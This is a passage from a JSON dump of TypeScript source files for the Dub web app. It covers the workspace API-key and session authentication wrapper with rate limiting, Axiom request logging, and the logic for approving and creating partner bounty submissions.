\"0\");\n}\n"
  },
  {
    "path": "apps/web/lib/auth/workspace.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { BetaFeatures, PlanProps, WorkspaceWithUsers } from \"@/lib/types\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { API_DOMAIN, getSearchParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { headers } from \"next/headers\";\nimport { getRatelimitForPlan } from \"../api/get-ratelimit-for-plan\";\nimport {\n  PermissionAction,\n  getPermissionsByRole,\n} from \"../api/rbac/permissions\";\nimport { Scope, mapScopesToPermissions } from \"../api/tokens/scopes\";\nimport { throwIfNoAccess } from \"../api/tokens/throw-if-no-access\";\nimport { normalizeWorkspaceId } from \"../api/workspaces/workspace-id\";\nimport { withAxiomBodyLog } from \"../axiom/server\";\nimport { getFeatureFlags } from \"../edge-config\";\nimport { logConversionEvent } from \"../tinybird/log-conversion-events\";\nimport { hashToken } from \"./hash-token\";\nimport { rateLimitRequest } from \"./rate-limit-request\";\nimport { TokenCacheItem, tokenCache } from \"./token-cache\";\nimport { Session, getSession } from \"./utils\";\n\nconst RATE_LIMIT_FOR_SESSIONS = {\n  api: {\n    limit: 600,\n    interval: \"1 m\",\n  },\n  analyticsApi: {\n    limit: 12,\n    interval: \"1 s\",\n  },\n} as const;\n\ninterface WithWorkspaceHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    headers,\n    session,\n    workspace,\n    permissions,\n    token,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    headers?: Headers;\n    session: Session;\n    permissions: PermissionAction[];\n    workspace: WorkspaceWithUsers;\n    token: TokenCacheItem | null;\n  }): Promise<Response>;\n}\n\nexport const withWorkspace = (\n  handler: WithWorkspaceHandler,\n  {\n    requiredPlan = [\n      \"free\",\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business max\",\n      \"business extra\",\n      \"advanced\",\n      \"enterprise\",\n    ], // if the action needs a specific plan\n    requiredPermissions = [],\n    requiredRoles = [],\n    featureFlag, // if the action needs a specific feature flag\n  }: {\n    requiredPlan?: Array<PlanProps>;\n    requiredPermissions?: PermissionAction[];\n    requiredRoles?: WorkspaceRole[];\n    featureFlag?: BetaFeatures;\n  } = {},\n) => {\n  return withAxiomBodyLog(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      // Clone the request early so handlers can read the body without cloning\n      // Keep the original for withAxiomBodyLog to read in onSuccess\n      const clonedReq = req.clone();\n\n      const params = (await initialParams) || {};\n      const searchParams = getSearchParams(req.url);\n\n      let apiKey: string | undefined = undefined;\n      let requestHeaders = await headers();\n      let responseHeaders = new Headers();\n      let workspace: WorkspaceWithUsers | undefined;\n\n      try {\n        const authorizationHeader = requestHeaders.get(\"Authorization\");\n        if (authorizationHeader) {\n          if (!authorizationHeader.startsWith(\"Bearer \")) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message:\n                \"Misconfigured authorization header. Did you forget to add 'Bearer '? Learn more: https://d.to/auth\",\n            });\n          }\n          apiKey = authorizationHeader.replace(\"Bearer \", \"\");\n        }\n\n        const url = new URL(req.url || \"\", API_DOMAIN);\n\n        let session: Session | undefined;\n        let workspaceId: string | undefined;\n        let workspaceSlug: string | undefined;\n        let permissions: PermissionAction[] = [];\n        let token: TokenCacheItem | null = null;\n        const isRestrictedToken = apiKey?.startsWith(\"dub_\");\n\n        const idOrSlug =\n          params?.idOrSlug ||\n          searchParams.workspaceId ||\n          params?.slug ||\n          searchParams.projectSlug;\n\n        /*\n          if there's no workspace ID or slug and it's not a restricted token:\n          - special case for anonymous link creation\n          - missing authorization header\n          - user is still using personal API keys\n        */\n        if (!idOrSlug && !isRestrictedToken) {\n          // special case for anonymous link creation\n          if (\n            requestHeaders.has(\"dub-anonymous-link-creation\") &&\n            [\"/links\", \"/api/links\"].includes(req.nextUrl.pathname)\n          ) {\n            // @ts-expect-error\n            return await handler({\n              req: clonedReq,\n              params,\n              searchParams,\n              headers: responseHeaders,\n            });\n            // missing authorization header\n          } else if (!authorizationHeader) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Missing Authorization header.\",\n            });\n            // in case user is still using personal API keys\n          } else {\n            throw new DubApiError({\n              code: \"not_found\",\n              message:\n                \"Workspace ID not found. Did you forget to include a `workspaceId` query parameter? It looks like you might be using personal API keys, we also recommend refactoring to workspace API keys: https://d.to/keys\",\n            });\n          }\n        }\n\n        if (idOrSlug) {\n          if (idOrSlug.startsWith(\"ws_\")) {\n            workspaceId = normalizeWorkspaceId(idOrSlug);\n          } else {\n            workspaceSlug = idOrSlug;\n          }\n        }\n\n        const isAnalytics =\n          url.pathname.includes(\"/analytics\") ||\n          url.pathname.includes(\"/events\");\n\n        if (apiKey) {\n          const hashedKey = await hashToken(apiKey);\n\n          const cachedToken = await tokenCache.get({\n            hashedKey,\n          });\n\n          if (!cachedToken) {\n            const prismaArgs = {\n              where: {\n                hashedKey,\n              },\n              select: {\n                expires: true,\n                ...(isRestrictedToken && {\n                  scopes: true,\n                  projectId: true,\n                  installationId: true,\n                  project: {\n                    select: {\n                      plan: true,\n                    },\n                  },\n                }),\n                user: true,\n              },\n            };\n\n            if (isRestrictedToken) {\n              token = await prisma.restrictedToken.findUnique(prismaArgs);\n            } else {\n              token = await prisma.token.findUnique(prismaArgs);\n            }\n          }\n\n          token = cachedToken || token;\n\n          if (!token || !token.user) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Invalid API key.\",\n            });\n          }\n\n          if (token.expires && token.expires < new Date()) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Access token expired.\",\n            });\n          }\n\n          if (!cachedToken) {\n            waitUntil(\n              tokenCache.set({\n                hashedKey,\n                token,\n              }),\n            );\n          }\n\n          // Rate limit checks for API keys\n          let limit = 0;\n          let interval: `${number} s` | `${number} m` = isAnalytics\n            ? \"1 s\"\n            : \"1 m\";\n\n          const planLimit = getRatelimitForPlan(token.project?.plan || \"free\");\n          limit = planLimit.limits[isAnalytics ? \"analyticsApi\" : \"api\"];\n\n          const { success, headers } = await rateLimitRequest({\n            identifier: `workspace:ratelimit:${hashedKey}`,\n            requests: limit,\n            interval,\n          });\n\n          if (headers) {\n            for (const [key, value] of Object.entries(headers)) {\n              responseHeaders.set(key, value);\n            }\n          }\n\n          if (!success) {\n            throw new DubApiError({\n              code: \"rate_limit_exceeded\",\n              message: \"Too many requests.\",\n            });\n          }\n\n          // Find workspaceId if it's a restricted token\n          if (isRestrictedToken && token?.projectId) {\n            workspaceId = token.projectId;\n          }\n\n          waitUntil(\n            // update last used time for the token (only once every minute)\n            (async () => {\n              try {\n                const { success } = await ratelimit(1, \"1 m\").limit(\n                  `last-used-${hashedKey}`,\n                );\n\n                if (success) {\n                  const prismaArgs = {\n                    where: {\n                      hashedKey,\n                    },\n                    data: {\n                      lastUsed: new Date(),\n                    },\n                  };\n\n                  if (isRestrictedToken) {\n                    await prisma.restrictedToken.update(prismaArgs);\n                  } else {\n                    await prisma.token.update(prismaArgs);\n                  }\n                }\n              } catch (error) {\n                console.error(error);\n              }\n            })(),\n          );\n\n          session = {\n            user: {\n              id: token.user.id,\n              name: token.user.name || \"\",\n              email: token.user.email || \"\",\n              isMachine: token.user.isMachine,\n            },\n          };\n        } else {\n          session = await getSession();\n\n          if (!session?.user?.id) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Login required.\",\n            });\n          }\n\n          // Rate limit checks for session requests\n          const rateLimit =\n            RATE_LIMIT_FOR_SESSIONS[isAnalytics ? \"analyticsApi\" : \"api\"];\n\n          const { success, headers } = await rateLimitRequest({\n            identifier: `workspace:ratelimit:${session.user.id}`,\n            requests: rateLimit.limit,\n            interval: rateLimit.interval,\n          });\n\n          for (const [key, value] of Object.entries(headers)) {\n            responseHeaders.set(key, value);\n          }\n\n          if (!success) {\n            throw new DubApiError({\n              code: \"rate_limit_exceeded\",\n              message: \"Too many requests.\",\n            });\n          }\n        }\n\n        workspace = (await prisma.project.findUnique({\n          where: {\n            id: workspaceId || undefined,\n            slug: workspaceSlug || undefined,\n          },\n          include: {\n            users: {\n              where: {\n                userId: session.user.id,\n              },\n              select: {\n                role: true,\n                defaultFolderId: true,\n                workspacePreferences: !apiKey, // Hide from API\n              },\n            },\n          },\n        })) as WorkspaceWithUsers;\n\n        // workspace doesn't exist\n        if (!workspace || !workspace.users) {\n          throw new DubApiError({\n            code: \"not_found\",\n            message: \"Workspace not found.\",\n          });\n        }\n\n        // workspace exists but user is not part of it\n        if (workspace.users.length === 0) {\n          const pendingInvites = await prisma.projectInvite.findUnique({\n            where: {\n              email_projectId: {\n                email: session.user.email,\n                projectId: workspace.id,\n              },\n            },\n            select: {\n              expires: true,\n            },\n          });\n\n          if (!pendingInvites) {\n            throw new DubApiError({\n              code: \"not_found\",\n              message: \"Workspace not found.\",\n            });\n          } else if (pendingInvites.expires < new Date()) {\n            throw new DubApiError({\n              code: \"invite_expired\",\n              message: \"Workspace invite expired.\",\n            });\n          } else {\n            throw new DubApiError({\n              code: \"invite_pending\",\n              message: \"Workspace invite pending.\",\n            });\n          }\n        }\n\n        // Machine users have owner role by default\n        // Only workspace owners can create machine users\n        if (session.user.isMachine) {\n          workspace.users[0].role = \"owner\";\n        }\n\n        permissions = getPermissionsByRole(workspace.users[0].role);\n\n        // Find the subset of permissions that the user has access to based on the token scopes\n        if (isRestrictedToken && token?.scopes) {\n          const tokenScopes = (token.scopes.split(\" \") as Scope[]) || [];\n          permissions = mapScopesToPermissions(tokenScopes).filter((p) =>\n            permissions.includes(p),\n          );\n        }\n\n        // Check user has permission to make the action\n        if (requiredPermissions.length > 0) {\n          throwIfNoAccess({\n            permissions,\n            requiredPermissions,\n            workspaceId: workspace.id,\n            externalRequest: Boolean(apiKey),\n          });\n        }\n\n        // role checks\n        if (\n          requiredRoles.length > 0 &&\n          !requiredRoles.includes(workspace.users[0].role)\n        ) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message: `You don't have the required role to access this endpoint. Required role(s): ${requiredRoles.join(\", \")}.`,\n          });\n        }\n\n        // beta feature checks\n        if (featureFlag) {\n          const flags = await getFeatureFlags({\n            workspaceId: workspace.id,\n          });\n\n          if (!flags[featureFlag]) {\n            throw new DubApiError({\n              code: \"forbidden\",\n              message: \"Unauthorized: Beta feature.\",\n            });\n          }\n        }\n\n        // plan checks\n        if (!requiredPlan.includes(workspace.plan)) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message: \"Unauthorized: Need higher plan.\",\n          });\n        }\n\n        // analytics API checks\n        if (\n          workspace.plan === \"free\" &&\n          apiKey &&\n          url.pathname.includes(\"/analytics\")\n        ) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message: \"Analytics API is only available on paid plans.\",\n          });\n        }\n\n        return await handler({\n          req: clonedReq,\n          params,\n          searchParams,\n          headers: responseHeaders,\n          session,\n          workspace,\n          permissions,\n          token,\n        });\n      } catch (error) {\n        // Log the conversion events for debugging purposes\n        waitUntil(\n          (async () => {\n            const paths = [\"/track/lead\", \"/track/sale\"];\n\n            if (workspace && paths.includes(req.nextUrl.pathname)) {\n              logConversionEvent({\n                workspace_id: workspace.id,\n                path: req.nextUrl.pathname,\n                error: error.message,\n              });\n            }\n          })(),\n        );\n\n        return handleAndReturnErrorResponse(error, responseHeaders);\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/axiom/axiom.ts",
    "content": "import { Axiom } from \"@axiomhq/js\";\n\nexport const axiomClient = new Axiom({\n  token: process.env.AXIOM_TOKEN!,\n});\n"
  },
  {
    "path": "apps/web/lib/axiom/server.ts",
    "content": "import {\n  AxiomJSTransport,\n  ConsoleTransport,\n  Logger,\n  LogLevel,\n} from \"@axiomhq/logging\";\nimport {\n  createAxiomRouteHandler,\n  nextJsFormatters,\n  transformRouteHandlerSuccessResult,\n} from \"@axiomhq/nextjs\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { axiomClient } from \"./axiom\";\n\nconst isAxiomEnabled = process.env.AXIOM_DATASET && process.env.AXIOM_TOKEN;\n\nconst getLogLevelFromStatusCode = (statusCode: number) => {\n  if (statusCode >= 100 && statusCode < 400) {\n    return LogLevel.info;\n  } else if (statusCode >= 400 && statusCode < 500) {\n    return LogLevel.warn;\n  } else if (statusCode >= 500) {\n    return LogLevel.error;\n  }\n\n  return LogLevel.info;\n};\n\nexport const logger = new Logger({\n  transports: isAxiomEnabled\n    ? [\n        new AxiomJSTransport({\n          axiom: axiomClient,\n          dataset: process.env.AXIOM_DATASET!,\n        }),\n      ]\n    : [new ConsoleTransport()],\n  formatters: nextJsFormatters,\n});\n\nexport const withAxiomBodyLog = createAxiomRouteHandler(logger, {\n  onSuccess: async (data) => {\n    const [message, report] = transformRouteHandlerSuccessResult(data);\n\n    // Add body to report if the method is POST, PATCH, or PUT\n    if ([\"POST\", \"PATCH\", \"PUT\"].includes(data.req.method)) {\n      try {\n        report.body = await data.req.json();\n      } catch (error) {\n        // Body might be empty, invalid JSON\n        // Silently skip adding body to report\n      }\n    }\n\n    // Add search params to report\n    report.searchParams = getSearchParams(data.req.url);\n\n    logger.log(getLogLevelFromStatusCode(data.res.status), message, report);\n    await logger.flush();\n  },\n});\n\nexport const withAxiom = createAxiomRouteHandler(logger);\n"
  },
  {
    "path": "apps/web/lib/bounty/api/approve-bounty-submission.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { Session } from \"@/lib/auth\";\nimport { calculateSocialMetricsRewardAmount } from \"@/lib/bounty/rewards\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport {\n  approveBountySubmissionBodySchema,\n  BountySubmissionSchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { sendEmail } from \"@dub/email\";\nimport BountyApproved from \"@dub/email/templates/bounty-approved\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\n\ninterface ApproveBountySubmissionParams\n  extends z.infer<typeof approveBountySubmissionBodySchema> {\n  programId: string;\n  bountyId?: string;\n  submissionId: string;\n  user: Session[\"user\"];\n}\n\nexport async function approveBountySubmission({\n  bountyId,\n  programId,\n  submissionId,\n  rewardAmount,\n  user,\n}: ApproveBountySubmissionParams) {\n  const submission = await prisma.bountySubmission.findUnique({\n    where: {\n      id: submissionId,\n    },\n    select: {\n      programId: true,\n      partnerId: true,\n      bountyId: true,\n      status: true,\n      socialMetricCount: true,\n      bounty: {\n        select: {\n          name: true,\n          type: true,\n          rewardAmount: true,\n          submissionRequirements: true,\n        },\n      },\n    },\n  });\n\n  if (!submission) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} not found.`,\n    });\n  }\n\n  if (submission.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} does not belong to program ${programId}.`,\n    });\n  }\n\n  if (bountyId && submission.bountyId !== bountyId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} not found for bounty ${bountyId}.`,\n    });\n  }\n\n  if (submission.status === \"draft\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This bounty submission is in progress and cannot be approved.\",\n    });\n  }\n\n  if (submission.status === \"approved\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This bounty submission has already been approved.\",\n    });\n  }\n\n  const bounty = submission.bounty;\n  const bountyInfo = resolveBountyDetails(bounty);\n\n  let finalRewardAmount = bounty.rewardAmount ?? rewardAmount;\n\n  if (bountyInfo?.hasSocialMetrics) {\n    const socialRewardAmount = calculateSocialMetricsRewardAmount({\n      bounty,\n      submission,\n    });\n\n    finalRewardAmount = socialRewardAmount;\n  }\n\n  if (!finalRewardAmount) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Reward amount is required to approve the bounty submission.\",\n    });\n  }\n\n  const { commission } = await createPartnerCommission({\n    event: \"custom\",\n    partnerId: submission.partnerId,\n    programId: submission.programId,\n    amount: finalRewardAmount,\n    quantity: 1,\n    user,\n    description: `Commission for successfully completed \"${bounty.name}\" bounty.`,\n  });\n\n  if (!commission) {\n    throw new DubApiError({\n      code: \"internal_server_error\",\n      message: \"Failed to create commission for the bounty submission.\",\n    });\n  }\n\n  const approvedSubmission = await prisma.bountySubmission.update({\n    where: {\n      id: submissionId,\n    },\n    data: {\n      status: \"approved\",\n      reviewedAt: new Date(),\n      userId: user.id,\n      rejectionNote: null,\n      rejectionReason: null,\n      commissionId: commission.id,\n    },\n    include: {\n      partner: {\n        select: {\n          id: true,\n          email: true,\n        },\n      },\n      program: {\n        select: {\n          workspaceId: true,\n          id: true,\n          name: true,\n          slug: true,\n          supportEmail: true,\n        },\n      },\n    },\n  });\n\n  const { program, partner } = approvedSubmission;\n\n  waitUntil(\n    Promise.allSettled([\n      recordAuditLog({\n        workspaceId: program.workspaceId,\n        programId: program.id,\n        action: \"bounty_submission.approved\",\n        description: `Bounty submission approved for ${partner.id}`,\n        actor: user,\n        targets: [\n          {\n            type: \"bounty_submission\",\n            id: submissionId,\n            metadata: BountySubmissionSchema.parse(approvedSubmission),\n          },\n        ],\n      }),\n\n      partner.email &&\n        sendEmail({\n          subject: \"Bounty approved!\",\n          to: partner.email,\n          variant: \"notifications\",\n          replyTo: program.supportEmail || \"noreply\",\n          react: BountyApproved({\n            email: partner.email,\n            program: {\n              name: program.name,\n              slug: program.slug,\n            },\n            bounty: {\n              name: bounty.name,\n              type: bounty.type,\n            },\n          }),\n        }),\n    ]),\n  );\n\n  return BountySubmissionSchema.parse(approvedSubmission);\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/create-bounty-submission.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { getWorkspaceUsers } from \"@/lib/api/get-workspace-users\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { getSocialContent } from \"@/lib/api/scrape-creators/get-social-content\";\nimport { BOUNTY_MAX_SUBMISSION_URLS } from \"@/lib/bounty/constants\";\nimport { addFrequency, getCurrentPeriodNumber } from \"@/lib/bounty/periods\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport {\n  createBountySubmissionInputSchema,\n  submissionRequirementsSchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { sendBatchEmail, sendEmail } from \"@dub/email\";\nimport NewBountySubmission from \"@dub/email/templates/bounty-new-submission\";\nimport BountySubmitted from \"@dub/email/templates/bounty-submitted\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  BountySubmission,\n  Partner,\n  PlatformType,\n  Prisma,\n  WorkspaceRole,\n} from \"@dub/prisma/client\";\nimport { getDomainWithoutWWW, isValidUrl } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { formatDistanceToNow, isBefore } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { SOCIAL_URL_HOST_TO_PLATFORM } from \"../social-content\";\n\ntype CreateBountySubmissionParams = z.infer<\n  typeof createBountySubmissionInputSchema\n> & {\n  partner: Pick<Partner, \"id\" | \"name\" | \"image\" | \"email\">;\n};\n\ntype BountyWithRelations = Prisma.BountyGetPayload<{\n  include: {\n    groups: true;\n    submissions: true;\n  };\n}>;\n\nexport class BountySubmissionHandler {\n  // Input\n  private partner: CreateBountySubmissionParams[\"partner\"];\n  private programId: string;\n  private bountyId: string;\n  private files: z.infer<typeof createBountySubmissionInputSchema>[\"files\"];\n  private urls: string[];\n  private description?: string;\n  private isDraft: boolean;\n  private periodNumber?: number;\n\n  // Resolved state\n  private bounty: BountyWithRelations;\n  private finalPeriodNumber: number;\n  private submissions: BountySubmission[];\n  private submissionData: Partial<Prisma.BountySubmissionUncheckedCreateInput>;\n  private programEnrollment: Prisma.ProgramEnrollmentGetPayload<{\n    include: {};\n  }>;\n\n  constructor(params: CreateBountySubmissionParams) {\n    this.partner = params.partner;\n    this.programId = params.programId;\n    this.bountyId = params.bountyId;\n    this.files = params.files;\n    this.urls = params.urls;\n    this.description = params.description;\n    this.isDraft = params.isDraft;\n    this.periodNumber = params.periodNumber;\n  }\n\n  async submit(): Promise<BountySubmission> {\n    await this.fetchBountyAndEnrollment();\n\n    this.resolvePeriodNumber();\n\n    this.validateEligibility();\n\n    this.validateRequirements();\n\n    await this.validateSocialContent();\n\n    this.mergeSubmissionData();\n\n    const submission = await this.persist();\n\n    this.sendNotifications(submission);\n\n    return submission;\n  }\n\n  // Fetch the bounty and program enrollment\n  private async fetchBountyAndEnrollment() {\n    const [programEnrollment, bounty] = await Promise.all([\n      getProgramEnrollmentOrThrow({\n        partnerId: this.partner.id,\n        programId: this.programId,\n        include: {},\n      }),\n\n      prisma.bounty.findUniqueOrThrow({\n        where: {\n          id: this.bountyId,\n        },\n        include: {\n          groups: true,\n          submissions: {\n            where: {\n              partnerId: this.partner.id,\n            },\n          },\n        },\n      }),\n    ]);\n\n    this.programEnrollment = programEnrollment;\n    this.bounty = bounty;\n    this.submissions = bounty.submissions;\n  }\n\n  // Resolve the period number for the submission\n  private resolvePeriodNumber() {\n    const isMultiSubmission = this.bounty.maxSubmissions > 1;\n\n    if (!isMultiSubmission) {\n      this.finalPeriodNumber = 1;\n      return;\n    }\n\n    // Multi-submission WITHOUT frequency — all periods open\n    if (!this.bounty.submissionFrequency) {\n      if (!this.periodNumber) {\n        throw new Error(\"Period number is required for this bounty.\");\n      }\n\n      if (\n        this.periodNumber < 1 ||\n        this.periodNumber > this.bounty.maxSubmissions\n      ) {\n        throw new Error(\"Invalid submission period number.\");\n      }\n\n      this.finalPeriodNumber = this.periodNumber;\n      return;\n    }\n\n    // Multi-submission WITH frequency — time-gated\n    const currentPeriod = getCurrentPeriodNumber({\n      startsAt: this.bounty.startsAt,\n      endsAt: this.bounty.endsAt,\n      submissionFrequency: this.bounty.submissionFrequency,\n      maxSubmissions: this.bounty.maxSubmissions,\n    });\n\n    let periodNumber: number;\n\n    if (this.periodNumber) {\n      periodNumber = this.periodNumber;\n    } else {\n      if (!currentPeriod) {\n        throw new Error(\"No active submission period for this bounty.\");\n      }\n\n      periodNumber = currentPeriod;\n    }\n\n    if (periodNumber < 1 || periodNumber > this.bounty.maxSubmissions) {\n      throw new Error(\"Invalid submission period number.\");\n    }\n\n    // Validate the period has started\n    const periodStart = addFrequency({\n      date: this.bounty.startsAt,\n      frequency: this.bounty.submissionFrequency,\n      amount: periodNumber - 1,\n    });\n\n    if (new Date() < periodStart) {\n      throw new Error(\"This submission period hasn't started yet.\");\n    }\n\n    if (currentPeriod && periodNumber < currentPeriod) {\n      throw new Error(\"This submission period has already closed.\");\n    }\n\n    this.finalPeriodNumber = periodNumber;\n  }\n\n  // Validate the eligibility of the submission\n  private validateEligibility() {\n    if (![\"approved\", \"pending\"].includes(this.programEnrollment.status)) {\n      throw new Error(\n        \"You are not allowed to submit a bounty for this program.\",\n      );\n    }\n\n    if (this.bounty.programId !== this.programId) {\n      throw new Error(\"This bounty is not for this program.\");\n    }\n\n    // Check existing submission for this period\n    const existingSubmission = this.submissions.find(\n      (s) => s.periodNumber === this.finalPeriodNumber,\n    );\n\n    const bountyInfo = resolveBountyDetails(this.bounty);\n\n    if (existingSubmission) {\n      if (\n        existingSubmission.reviewedAt ||\n        existingSubmission.status === \"approved\" ||\n        existingSubmission.status === \"rejected\"\n      ) {\n        throw new Error(\n          `You already have a ${existingSubmission.status} submission for this period.`,\n        );\n      }\n\n      if (\n        existingSubmission.status !== \"draft\" &&\n        !bountyInfo?.hasSocialMetrics\n      ) {\n        throw new Error(\n          `You already have a ${existingSubmission.status} submission for this period.`,\n        );\n      }\n    }\n\n    // Check group membership\n    if (this.bounty.groups.length > 0) {\n      const isInGroup = this.bounty.groups.find(\n        ({ groupId }) => groupId === this.programEnrollment.groupId,\n      );\n\n      if (!isInGroup) {\n        throw new Error(\"You are not allowed to submit this bounty.\");\n      }\n    }\n\n    // Validate bounty dates and status\n    const now = new Date();\n\n    if (this.bounty.startsAt && this.bounty.startsAt > now) {\n      throw new Error(\"This bounty is not yet available.\");\n    }\n\n    if (this.bounty.endsAt && this.bounty.endsAt < now) {\n      throw new Error(\"This bounty is no longer available.\");\n    }\n\n    if (this.bounty.archivedAt) {\n      throw new Error(\"This bounty is archived.\");\n    }\n\n    if (this.bounty.type === \"performance\") {\n      throw new Error(\"You are not allowed to submit a performance bounty.\");\n    }\n\n    if (\n      !this.isDraft &&\n      this.bounty.submissionsOpenAt &&\n      this.bounty.submissionsOpenAt > now\n    ) {\n      const waitTime = formatDistanceToNow(this.bounty.submissionsOpenAt, {\n        addSuffix: true,\n      });\n\n      throw new Error(\n        `Submissions are not open yet. You can submit ${waitTime}.`,\n      );\n    }\n\n    if (bountyInfo?.hasSocialMetrics && this.isDraft) {\n      throw new Error(\n        \"Draft submissions are not allowed for social metrics bounties.\",\n      );\n    }\n  }\n\n  // Validate the requirements of the submission\n  private validateRequirements() {\n    const submissionRequirements = submissionRequirementsSchema\n      .nullable()\n      .parse(this.bounty.submissionRequirements);\n\n    const requireImage = !!submissionRequirements?.image;\n    const requireUrl = !!submissionRequirements?.url;\n    const urlRequirement = submissionRequirements?.url || null;\n    const imageRequirement = submissionRequirements?.image || null;\n\n    this.submissionData = {\n      status: this.isDraft ? \"draft\" : \"submitted\",\n    };\n\n    if (!this.isDraft) {\n      if (requireImage && this.files.length === 0) {\n        throw new Error(\"You must submit an image.\");\n      }\n\n      if (requireUrl && this.urls.length === 0) {\n        throw new Error(\"You must submit a URL.\");\n      }\n\n      this.validateUrlDomains(urlRequirement);\n\n      // Validate max count for URLs\n      if (urlRequirement?.max && this.urls.length > urlRequirement.max) {\n        throw new Error(\n          `You can submit at most ${urlRequirement.max} URL${urlRequirement.max === 1 ? \"\" : \"s\"}.`,\n        );\n      }\n\n      // Validate max count for images\n      if (imageRequirement?.max && this.files.length > imageRequirement.max) {\n        throw new Error(\n          `You can submit at most ${imageRequirement.max} image${imageRequirement.max === 1 ? \"\" : \"s\"}.`,\n        );\n      }\n\n      this.submissionData = {\n        ...this.submissionData,\n        completedAt: new Date(),\n      };\n    }\n  }\n\n  // Validate the domains of the URLs\n  private validateUrlDomains(\n    urlRequirement: {\n      domains?: string[] | null;\n    } | null,\n  ) {\n    if (\n      !urlRequirement?.domains ||\n      urlRequirement.domains.length === 0 ||\n      this.urls.length === 0\n    ) {\n      return;\n    }\n\n    const allowedDomains = urlRequirement.domains\n      .map((domain) => getDomainWithoutWWW(domain)?.toLowerCase())\n      .filter((domain): domain is string => !!domain);\n\n    if (allowedDomains.length === 0) {\n      return;\n    }\n\n    const invalidUrls = this.urls.filter((url) => {\n      const urlDomain = getDomainWithoutWWW(url)?.toLowerCase();\n\n      if (!urlDomain) {\n        return true;\n      }\n\n      return !allowedDomains.some(\n        (allowedDomain) =>\n          urlDomain === allowedDomain ||\n          urlDomain.endsWith(`.${allowedDomain}`),\n      );\n    });\n\n    if (invalidUrls.length > 0) {\n      const domainsList = allowedDomains.join(\", \");\n\n      throw new Error(\n        `All URLs must be from one of the following domains: ${domainsList}. Please check your submission.`,\n      );\n    }\n  }\n\n  // Validate the social content of the submission\n  private async validateSocialContent() {\n    const bountyInfo = resolveBountyDetails(this.bounty);\n\n    if (!bountyInfo?.socialMetrics) {\n      return;\n    }\n\n    const contentUrl = this.urls[0];\n\n    if (!bountyInfo.socialPlatform) {\n      throw new Error(\"Invalid bounty platform.\");\n    }\n\n    const platform = bountyInfo.socialPlatform;\n\n    if (!contentUrl) {\n      throw new Error(\n        `You must provide a ${platform.label} URL to submit this bounty.`,\n      );\n    }\n\n    const urlPlatform = getPlatformFromSocialUrl(contentUrl);\n\n    if (urlPlatform !== platform.value) {\n      throw new Error(\n        `This link must be a ${platform.label} link. You submitted a link from another platform.`,\n      );\n    }\n\n    const partnerPlatform = await prisma.partnerPlatform.findUnique({\n      where: {\n        partnerId_type: {\n          partnerId: this.partner.id,\n          type: platform.value,\n        },\n      },\n      select: {\n        identifier: true,\n        verifiedAt: true,\n      },\n    });\n\n    if (!partnerPlatform) {\n      throw new Error(\n        `You must connect your ${platform.label} account to your profile before submitting this bounty.`,\n      );\n    }\n\n    if (!partnerPlatform.verifiedAt) {\n      throw new Error(\n        `You must verify your ${platform.label} account before submitting this bounty.`,\n      );\n    }\n\n    const socialContent = await getSocialContent({\n      platform: platform.value,\n      url: contentUrl,\n    });\n\n    if (!socialContent.handle || !socialContent.publishedAt) {\n      throw new Error(\n        \"We were unable to verify this content. Please review the submission and try again.\",\n      );\n    }\n\n    if (\n      socialContent.handle.toLowerCase() !==\n      partnerPlatform.identifier.toLowerCase()\n    ) {\n      throw new Error(\n        `The content was not published from your connected ${platform.label} account.`,\n      );\n    }\n\n    if (\n      socialContent.publishedAt &&\n      this.bounty.startsAt &&\n      isBefore(socialContent.publishedAt, this.bounty.startsAt)\n    ) {\n      throw new Error(\n        `This content was published before the bounty started. Please submit content posted after the start date.`,\n      );\n    }\n\n    this.submissionData = {\n      ...this.submissionData,\n      status: \"draft\",\n      completedAt: null,\n    };\n\n    const metricValue = socialContent[bountyInfo.socialMetrics!.metric];\n\n    if (typeof metricValue === \"number\" && Number.isInteger(metricValue)) {\n      this.submissionData = {\n        ...this.submissionData,\n        urls: [contentUrl],\n        